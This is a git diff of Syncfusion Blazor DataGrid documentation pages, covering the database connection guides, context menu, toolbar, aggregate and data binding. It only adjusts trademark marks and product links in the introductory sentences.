+The `Home.razor` component will display the ticket data in a Blazor DataGrid with search, filter, sort, and pagination capabilities.
 
 **Instructions:**
 
@@ -658,9 +658,9 @@ The Home component has been updated successfully with DataGrid.
 
 ### Step 3: Implement the CustomAdaptor
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can bind data from a **SQL Server** database using [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) and set the [Adaptor](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Adaptors.html) property to [CustomAdaptor](https://blazor.syncfusion.com/documentation/datagrid/connecting-to-adaptors/custom-adaptor) for scenarios that require full control over data operations.
+The Blazor DataGrid can bind data from a **SQL Server** database using [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) and set the [Adaptor](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Adaptors.html) property to [CustomAdaptor](https://blazor.syncfusion.com/documentation/datagrid/connecting-to-adaptors/custom-adaptor) for scenarios that require full control over data operations.
 
-The `CustomAdaptor` is a bridge between the DataGrid and the database. It handles all data operations including reading, searching, filtering, sorting, paging, and CRUD operations. Each operation in the CustomAdaptor's `ReadAsync` method handles specific grid functionality. The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid sends operation details to the API through a [DataManagerRequest](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManagerRequest.html) object. These details can be applied to the data source using methods from the [DataOperations](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html) class.
+The `CustomAdaptor` is a bridge between the DataGrid and the database. It handles all data operations including reading, searching, filtering, sorting, paging, and CRUD operations. Each operation in the CustomAdaptor's `ReadAsync` method handles specific grid functionality. The Blazor DataGrid sends operation details to the API through a [DataManagerRequest](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManagerRequest.html) object. These details can be applied to the data source using methods from the [DataOperations](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html) class.
 
 **Instructions:**
 
diff --git a/blazor/datagrid/connecting-to-database/mongodb-server.md b/blazor/datagrid/connecting-to-database/mongodb-server.md
index 6c3c080be9..70a62ea4f2 100644
--- a/blazor/datagrid/connecting-to-database/mongodb-server.md
+++ b/blazor/datagrid/connecting-to-database/mongodb-server.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Connecting MongoDB to Blazor Data Grid Using MongoDB.Driver
 
-The [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports binding data from a MongoDB database using the MongoDB.Driver library. This approach provides a flexible and scalable solution for working with NoSQL document databases.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports binding data from a MongoDB database using the MongoDB.Driver library. This approach provides a flexible and scalable solution for working with NoSQL document databases.
 
 **What is MongoDB?**
 
@@ -494,7 +494,7 @@ Syncfusion components are now configured and ready to use. For additional guidan
 
 ### Step 2: Update the Blazor DataGrid
 
-The `Home.razor` component will display the project data in a Syncfusion Blazor DataGrid with search, filter, sort, and pagination capabilities.
+The `Home.razor` component will display the project data in a Blazor DataGrid with search, filter, sort, and pagination capabilities.
 
 **Instructions:**
 
@@ -557,9 +557,9 @@ The Home component has been updated successfully with DataGrid.
 
 ### Step 3: Implement the CustomAdaptor
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can bind data from a **MongoDB** database using [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) and set the [Adaptor](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Adaptors.html) property to `CustomAdaptor` for scenarios that require full control over data operations.
+The Blazor DataGrid can bind data from a **MongoDB** database using [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) and set the [Adaptor](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Adaptors.html) property to `CustomAdaptor` for scenarios that require full control over data operations.
 
-The `CustomAdaptor` is a bridge between the DataGrid and the database. It handles all data operations including reading, searching, filtering, sorting, paging, and CRUD operations. Each operation in the CustomAdaptor's `ReadAsync` method handles specific grid functionality. The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid sends operation details to the API through a [DataManagerRequest](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManagerRequest.html) object. These details can be applied to the data source using methods from the [DataOperations](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html) class.
+The `CustomAdaptor` is a bridge between the DataGrid and the database. It handles all data operations including reading, searching, filtering, sorting, paging, and CRUD operations. Each operation in the CustomAdaptor's `ReadAsync` method handles specific grid functionality. The Blazor DataGrid sends operation details to the API through a [DataManagerRequest](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManagerRequest.html) object. These details can be applied to the data source using methods from the [DataOperations](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html) class.
 
 **Instructions:**
 
diff --git a/blazor/datagrid/connecting-to-database/mysql-server.md b/blazor/datagrid/connecting-to-database/mysql-server.md
index 210b1180a2..7618c4f482 100644
--- a/blazor/datagrid/connecting-to-database/mysql-server.md
+++ b/blazor/datagrid/connecting-to-database/mysql-server.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Connecting MySQL Server to Blazor Data Grid Using Entity Framework
 
-The [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports binding data from a MySQL Server database using Entity Framework Core (EF Core). This modern approach provides a more maintainable and type-safe alternative to raw SQL queries.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports binding data from a MySQL Server database using Entity Framework Core (EF Core). This modern approach provides a more maintainable and type-safe alternative to raw SQL queries.
 
 **What is Entity Framework Core?**
 
@@ -532,7 +532,7 @@ Syncfusion components are now configured and ready to use. For additional guidan
 
 ### Step 2: Update the Blazor DataGrid
 
-The `Home.razor` component will display the transaction data in a Syncfusion Blazor DataGrid with search, filter, sort, and pagination capabilities.
+The `Home.razor` component will display the transaction data in a Blazor DataGrid with search, filter, sort, and pagination capabilities.
 
 **Instructions:**
 
@@ -581,9 +581,9 @@ The Home component has been updated successfully with DataGrid.
 
 ### Step 3: Implement the CustomAdaptor
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can bind data from a **MySQL Server** database using [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) and set the [Adaptor](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Adaptors.html) property to `CustomAdaptor` for scenarios that require full control over data operations.
+The Blazor DataGrid can bind data from a **MySQL Server** database using [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) and set the [Adaptor](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Adaptors.html) property to `CustomAdaptor` for scenarios that require full control over data operations.
 
-The `CustomAdaptor` is a bridge between the DataGrid and the database. It handles all data operations including reading, searching, filtering, sorting, paging, and CRUD operations. Each operation in the CustomAdaptor's `ReadAsync` method handles specific grid functionality. The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid sends operation details to the API through a [DataManagerRequest](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManagerRequest.html) object. These details can be applied to the data source using methods from the [DataOperations](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html) class.
+The `CustomAdaptor` is a bridge between the DataGrid and the database. It handles all data operations including reading, searching, filtering, sorting, paging, and CRUD operations. Each operation in the CustomAdaptor's `ReadAsync` method handles specific grid functionality. The Blazor DataGrid sends operation details to the API through a [DataManagerRequest](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManagerRequest.html) object. These details can be applied to the data source using methods from the [DataOperations](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html) class.
 
 **Instructions:**
 
diff --git a/blazor/datagrid/connecting-to-database/postgresql-server.md b/blazor/datagrid/connecting-to-database/postgresql-server.md
index 75fdcdda2c..969b563c3c 100644
--- a/blazor/datagrid/connecting-to-database/postgresql-server.md
+++ b/blazor/datagrid/connecting-to-database/postgresql-server.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Connecting PostgreSQL to Blazor Data Grid Using Entity Framework
 
-The [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports binding data from a PostgreSQL database using Entity Framework Core (EF Core). This modern approach provides a more maintainable and type-safe alternative to raw SQL queries.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports binding data from a PostgreSQL database using Entity Framework Core (EF Core). This modern approach provides a more maintainable and type-safe alternative to raw SQL queries.
 
 **What is Entity Framework Core?**
 
@@ -722,7 +722,7 @@ Syncfusion components are now configured and ready to use. For additional guidan
 
 ### Step 2: Update the Blazor DataGrid
 
-The `Home.razor` component will display the purchase order data in a Syncfusion Blazor DataGrid with search, filter, sort, and pagination capabilities.
+The `Home.razor` component will display the purchase order data in a Blazor DataGrid with search, filter, sort, and pagination capabilities.
 
 **Instructions:**
 
@@ -771,9 +771,9 @@ The Home component has been updated successfully with DataGrid.
 
 ### Step 3: Implement the CustomAdaptor
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can bind data from a **PostgreSQL** database using [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) and set the [Adaptor](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Adaptors.html) property to [CustomAdaptor](https://blazor.syncfusion.com/documentation/datagrid/connecting-to-adaptors/custom-adaptor) for scenarios that require full control over data operations.
+The Blazor DataGrid can bind data from a **PostgreSQL** database using [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) and set the [Adaptor](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Adaptors.html) property to [CustomAdaptor](https://blazor.syncfusion.com/documentation/datagrid/connecting-to-adaptors/custom-adaptor) for scenarios that require full control over data operations.
 
-The `CustomAdaptor` is a bridge between the DataGrid and the PostgreSQL database. It handles all data operations including reading, searching, filtering, sorting, paging, and CRUD operations. Each operation in the CustomAdaptor's `ReadAsync` method handles specific grid functionality. The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid sends operation details to the API through a [DataManagerRequest](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManagerRequest.html) object. These details can be applied to the data source using methods from the [DataOperations](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html) class.
+The `CustomAdaptor` is a bridge between the DataGrid and the PostgreSQL database. It handles all data operations including reading, searching, filtering, sorting, paging, and CRUD operations. Each operation in the CustomAdaptor's `ReadAsync` method handles specific grid functionality. The Blazor DataGrid sends operation details to the API through a [DataManagerRequest](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManagerRequest.html) object. These details can be applied to the data source using methods from the [DataOperations](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html) class.
 
 **Instructions:**
 
diff --git a/blazor/datagrid/connecting-to-database/sqlite-server.md b/blazor/datagrid/connecting-to-database/sqlite-server.md
index 27d57a8c91..8165c4287c 100644
--- a/blazor/datagrid/connecting-to-database/sqlite-server.md
+++ b/blazor/datagrid/connecting-to-database/sqlite-server.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Connecting SQLite Server to Blazor Data Grid Using Entity Framework
 
-The [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports binding data from a SQLite Server database using Entity Framework Core (EF Core). This approach provides a lightweight, server less database solution ideal for mobile applications, desktop applications, and small-to-medium scale web applications.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports binding data from a SQLite Server database using Entity Framework Core (EF Core). This approach provides a lightweight, server less database solution ideal for mobile applications, desktop applications, and small-to-medium scale web applications.
 
 **What is Entity Framework Core?**
 
@@ -564,7 +564,7 @@ Syncfusion components are now configured and ready to use. For additional guidan
 
 ### Step 2: Update the Blazor DataGrid
 
-The `Home.razor` component will display the asset data in a Syncfusion Blazor DataGrid with search, filter, sort, and pagination capabilities.
+The `Home.razor` component will display the asset data in a Blazor DataGrid with search, filter, sort, and pagination capabilities.
 
 **Instructions:**
 
@@ -612,9 +612,9 @@ The Home component has been updated successfully with DataGrid.
 
 ### Step 3: Implement the CustomAdaptor
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can bind data from a **SQLite** database using [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) and set the [Adaptor](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Adaptors.html) property to `CustomAdaptor` for scenarios that require full control over data operations.
+The Blazor DataGrid can bind data from a **SQLite** database using [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) and set the [Adaptor](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Adaptors.html) property to `CustomAdaptor` for scenarios that require full control over data operations.
 
-The `CustomAdaptor` is a bridge between the DataGrid and the database. It handles all data operations including reading, searching, filtering, sorting, paging, and CRUD operations. Each operation in the CustomAdaptor's `ReadAsync` method handles specific grid functionality. The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid sends operation details to the API through a [DataManagerRequest](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManagerRequest.html) object. These details can be applied to the data source using methods from the [DataOperations](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html) class.
+The `CustomAdaptor` is a bridge between the DataGrid and the database. It handles all data operations including reading, searching, filtering, sorting, paging, and CRUD operations. Each operation in the CustomAdaptor's `ReadAsync` method handles specific grid functionality. The Blazor DataGrid sends operation details to the API through a [DataManagerRequest](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManagerRequest.html) object. These details can be applied to the data source using methods from the [DataOperations](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html) class.
 
 **Instructions:**
 
diff --git a/blazor/datagrid/context-menu.md b/blazor/datagrid/context-menu.md
index f531c58b06..9dfbfec187 100644
--- a/blazor/datagrid/context-menu.md
+++ b/blazor/datagrid/context-menu.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Context menu in Syncfusion Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports a context menu that appears when right-clicking anywhere within the grid. This menu provides quick access to actions related to the grid’s data and layout, enhancing interactivity and usability.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports a context menu that appears when right-clicking anywhere within the grid. This menu provides quick access to actions related to the grid’s data and layout, enhancing interactivity and usability.
 
 To enable the context menu, configure the Grid's `ContextMenuItems` property. Use default items for built-in menu options or add custom items for tailored functionality. This feature improves interactivity by offering context-sensitive actions.
 
@@ -138,7 +138,7 @@ public class OrderData
 
 ## Custom context menu items
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports adding custom context menu items along with default options.
+The Blazor DataGrid supports adding custom context menu items along with default options.
 
 To configure custom context menu items:
 
@@ -234,7 +234,7 @@ public class EmployeeData
 
 ## Built-in and Custom context menu items
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports using both built-in and custom context menu items together. This is helpful when extending default actions such as **Copy**, **Delete**, or **Edit** with application-specific commands like **Copy with headers** or **Export row**.
+The Blazor DataGrid supports using both built-in and custom context menu items together. This is helpful when extending default actions such as **Copy**, **Delete**, or **Edit** with application-specific commands like **Copy with headers** or **Export row**.
 
 To configure **built-in** and **custom** context menu items:
 
@@ -331,7 +331,7 @@ public class OrderData
 
 ## Sub context menu items in DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports hierarchical context menus, allowing sub-items to be grouped under a parent menu item. This structure helps organize related actions and improves interface usability.
+The Blazor DataGrid supports hierarchical context menus, allowing sub-items to be grouped under a parent menu item. This structure helps organize related actions and improves interface usability.
 
 To configure sub-context menu items:
 
@@ -555,7 +555,7 @@ public class OrderData
 
 ## Enable or disable context menu items
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows dynamic control over the availability of context menu items using the [Disabled](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.MenuItem.html#Syncfusion_Blazor_Navigations_MenuItem_Disabled) property. This feature is useful for conditionally restricting actions such as **Edit** or **Delete**, based on the column, row data, or custom logic.
+The Blazor DataGrid allows dynamic control over the availability of context menu items using the [Disabled](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.MenuItem.html#Syncfusion_Blazor_Navigations_MenuItem_Disabled) property. This feature is useful for conditionally restricting actions such as **Edit** or **Delete**, based on the column, row data, or custom logic.
 
 To achieve this, handle the [ContextMenuOpen](https://blazor.syncfusion.com/documentation/datagrid/events#contextmenuopen) event. The event is triggered before the context menu is displayed and allows enabling or disabling menu items dynamically based on conditions.
 
@@ -660,7 +660,7 @@ public class OrderData
 
 ## Show or hide context menu 
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows dynamically showing or hiding specific context menu items using the [Hidden](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.MenuItem.html#Syncfusion_Blazor_Navigations_MenuItem_Hidden) property. This feature is useful for conditionally restricting actions such as **Edit** or **Delete**, based on the column, row data, or custom logic.
+The Blazor DataGrid allows dynamically showing or hiding specific context menu items using the [Hidden](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.MenuItem.html#Syncfusion_Blazor_Navigations_MenuItem_Hidden) property. This feature is useful for conditionally restricting actions such as **Edit** or **Delete**, based on the column, row data, or custom logic.
 
 To achieve this, handle the [ContextMenuOpen](https://blazor.syncfusion.com/documentation/datagrid/events#contextmenuopen) event. The event is triggered before the context menu is displayed and allows dynamic modification of menu item visibility based on defined conditions.
 
@@ -762,7 +762,7 @@ public class OrderData
 
 ### Access specific row details on context menu click
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows retrieving details of a specific row when a context menu item is clicked. This feature is useful for displaying or processing the selected row’s data.
+The Blazor DataGrid allows retrieving details of a specific row when a context menu item is clicked. This feature is useful for displaying or processing the selected row’s data.
 
 To achieve this, handle the [ContextMenuItemClicked](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.ContextMenuClickEventArgs-1.html) event. The event is triggered when a context menu item is clicked and provides access to the selected row details.
 
diff --git a/blazor/datagrid/custom-aggregate.md b/blazor/datagrid/custom-aggregate.md
index e3abe25235..0325651139 100644
--- a/blazor/datagrid/custom-aggregate.md
+++ b/blazor/datagrid/custom-aggregate.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Custom aggregate in Blazor DataGrid
 
-The custom aggregate feature in the Syncfusion Blazor DataGrid enables calculating summary values with a user-defined function when built-in aggregate types do not meet specific requirements. Configure a custom aggregate by setting the aggregate type and providing a delegate that computes the value.
+The custom aggregate feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) enables calculating summary values with a user-defined function when built-in aggregate types do not meet specific requirements. Configure a custom aggregate by setting the aggregate type and providing a delegate that computes the value.
 
 To use the custom aggregate option:
 * Set the `AggregateType` as Custom in the `GridAggregateColumn` component.
@@ -208,4 +208,4 @@ Custom aggregate functions can also compute distinct counts or other domain-spec
 
 > To display the aggregate value of the current column in another column, use the [ColumnName](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridAggregateColumn.html#Syncfusion_Blazor_Grids_GridAggregateColumn_ColumnName) property. If ColumnName is not defined, the value of Field is used.
 >
-> Refer to the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) feature tour page for feature overviews. Explore the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid examples](https://blazor.syncfusion.com/demos/datagrid/overview?theme=bootstrap4) to see data presentation and manipulation in action.
\ No newline at end of file
+> Refer to the [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) feature tour page for feature overviews. Explore the [Blazor DataGrid examples](https://blazor.syncfusion.com/demos/datagrid/overview?theme=bootstrap4) to see data presentation and manipulation in action.
\ No newline at end of file
diff --git a/blazor/datagrid/custom-toolbar.md b/blazor/datagrid/custom-toolbar.md
index 0bf9741d12..eba90c727a 100644
--- a/blazor/datagrid/custom-toolbar.md
+++ b/blazor/datagrid/custom-toolbar.md
@@ -8,7 +8,7 @@ documentation: ug
 ---
 # Custom toolbar in Blazor DataGrid
 
-The custom toolbar in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables a distinctive toolbar layout, style, and behavior tailored to application requirements, delivering a personalized Grid experience.
+The custom toolbar in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) enables a distinctive toolbar layout, style, and behavior tailored to application requirements, delivering a personalized Grid experience.
 
 This is implemented by using the `Template` property, which provides extensive customization options for the toolbar. Define a custom template for the toolbar and handle toolbar item actions in the **OnClick** event.
 
@@ -115,7 +115,7 @@ This is implemented by using the `Template` property, which provides extensive c
 
 ## Render image with text in custom Toolbar
 
-Rendering an image with text in the custom toolbar of the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid helps provide context and improves visual clarity for actions.
+Rendering an image with text in the custom toolbar of the Blazor DataGrid helps provide context and improves visual clarity for actions.
 
 To render an image with text in the custom toolbar, use the `Template` in [SfToolbar](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.SfToolbar.html).
 
@@ -220,7 +220,7 @@ To render an image with text in the custom toolbar, use the `Template` in [SfToo
 
 ## Render SfDropDownList in Custom Toolbar
 
-Rendering an [SfDropdownList](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.SfDropDownList-2.html) in the custom toolbar of the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid extends toolbar functionality and enables actions based on user selection.
+Rendering an [SfDropdownList](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.SfDropDownList-2.html) in the custom toolbar of the Blazor DataGrid extends toolbar functionality and enables actions based on user selection.
 
 This is achieved by using the `Template`. The example below shows how to render the `SfDropDownList` in the custom toolbar, where the toolbar template binds the [ValueChanged](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.SfDropDownList-2.html#Syncfusion_Blazor_DropDowns_SfDropDownList_2_ValueChanged) event to the **OnChange** method.
 
@@ -351,7 +351,7 @@ In the **OnChange** method, the selected item text determines the action. For ex
 
 ## Render SfAutoComplete in custom toolbar
 
-Rendering the [SfAutoComplete](https://blazor.syncfusion.com/documentation/autocomplete/getting-started-with-web-app) in the custom toolbar of the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enhances usability by enabling dynamic search based on user input.
+Rendering the [SfAutoComplete](https://blazor.syncfusion.com/documentation/autocomplete/getting-started-with-web-app) in the custom toolbar of the Blazor DataGrid enhances usability by enabling dynamic search based on user input.
 
 This is implemented by using the `Template` property of the [Toolbar](https://blazor.syncfusion.com/documentation/toolbar/getting-started-webapp). The example below renders the `SfAutoComplete` within the custom toolbar. The [ValueChange](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.AutoCompleteEvents-2.html#Syncfusion_Blazor_DropDowns_AutoCompleteEvents_2_ValueChange) event of `SfAutoComplete` is bound to the **OnSearch** method, which searches the Grid based on the selected input.
 
@@ -468,7 +468,7 @@ In the **OnSearch** method, the selected value from `SfAutoComplete` is used as
 
 ## Render a component or element using the Toolbar Template
 
-Rendering a component or element by using the toolbar template in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid extends the toolbar with custom components such as buttons, dropdowns, input fields, icons, or other UI elements. Event handlers can be bound within the template to enable actions for the added components.
+Rendering a component or element by using the toolbar template in the Blazor DataGrid extends the toolbar with custom components such as buttons, dropdowns, input fields, icons, or other UI elements. Event handlers can be bound within the template to enable actions for the added components.
 
 To render custom components within the toolbar, use the `Template` directive. For example, include an [SfButton](https://help.syncfusion.com/cr/blazor/syncfusion.blazor.buttons.sfbutton.html) and perform specific Grid actions based on button clicks. When the **ExcelExport** button is clicked, [ExportToExcelAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ExportToExcelAsync_Syncfusion_Blazor_Grids_ExcelExportProperties_) exports the Grid to Excel. When the **PdfExport** button is clicked, [ExportToPdfAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ExportToPdfAsync_Syncfusion_Blazor_Grids_PdfExportProperties_) exports the Grid to PDF. Likewise, when the Print button is clicked, [PrintAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_PrintAsync) is triggered to print the Grid.
 
diff --git a/blazor/datagrid/data-annotation.md b/blazor/datagrid/data-annotation.md
index 0ad5edae51..d0006fcfd4 100644
--- a/blazor/datagrid/data-annotation.md
+++ b/blazor/datagrid/data-annotation.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Data Annotation in Blazor DataGrid
 
-Data annotations define validation and display rules for model classes or properties in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid. These attributes ensure that input values follow specific formats and constraints while providing clear error messages during editing operations.
+Data annotations define validation and display rules for model classes or properties in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid). These attributes ensure that input values follow specific formats and constraints while providing clear error messages during editing operations.
 
 When the DataGrid is bound to a model, data annotations automatically map to corresponding [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) settings. This enables built-in validation and metadata display during CRUD operations.
 
@@ -198,4 +198,4 @@ The following image shows how Data Annotations are applied to Grid columns in a
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/LthIZotuimdZMRyd?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Data Annotation in Grid](./images/blazor-datagrid-data-annotation.webp)" %}
 
-N> Refer to the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) feature tour for an overview of available features. Explore the [Blazor DataGrid example](https://blazor.syncfusion.com/demos/datagrid/overview?theme=bootstrap5) to see how data is presented and managed within an application.
\ No newline at end of file
+N> Refer to the [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) feature tour for an overview of available features. Explore the [Blazor DataGrid example](https://blazor.syncfusion.com/demos/datagrid/overview?theme=bootstrap5) to see how data is presented and managed within an application.
\ No newline at end of file
diff --git a/blazor/datagrid/data-binding/data-binding.md b/blazor/datagrid/data-binding/data-binding.md
index c661945b93..2a03201e8d 100644
--- a/blazor/datagrid/data-binding/data-binding.md
+++ b/blazor/datagrid/data-binding/data-binding.md
@@ -9,9 +9,9 @@ documentation: ug
 
 # Data Binding in Blazor DataGrid
 
-Data binding is a fundamental technique that empowers the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid to integrate data into its interface, enabling the creation of dynamic and interactive Grid views. This feature is particularly valuable when working with large datasets or when data needs to be fetched remotely. 
+Data binding is a fundamental technique that empowers the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) to integrate data into its interface, enabling the creation of dynamic and interactive Grid views. This feature is particularly valuable when working with large datasets or when data needs to be fetched remotely. 
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid utilizes the [SfDataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html), which supports both RESTful JSON data service binding and IEnumerable binding. The key property, [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_DataSource), can be assigned to a `SfDataManager` instance or list of business objects.
+The Blazor DataGrid utilizes the [SfDataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html), which supports both RESTful JSON data service binding and IEnumerable binding. The key property, [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_DataSource), can be assigned to a `SfDataManager` instance or list of business objects.
 
 It supports two kinds of data binding methods:
 
diff --git a/blazor/datagrid/data-binding/local-data.md b/blazor/datagrid/data-binding/local-data.md
index d6e74eff05..62e4037c8a 100644
--- a/blazor/datagrid/data-binding/local-data.md
+++ b/blazor/datagrid/data-binding/local-data.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Local data in Blazor DataGrid
 
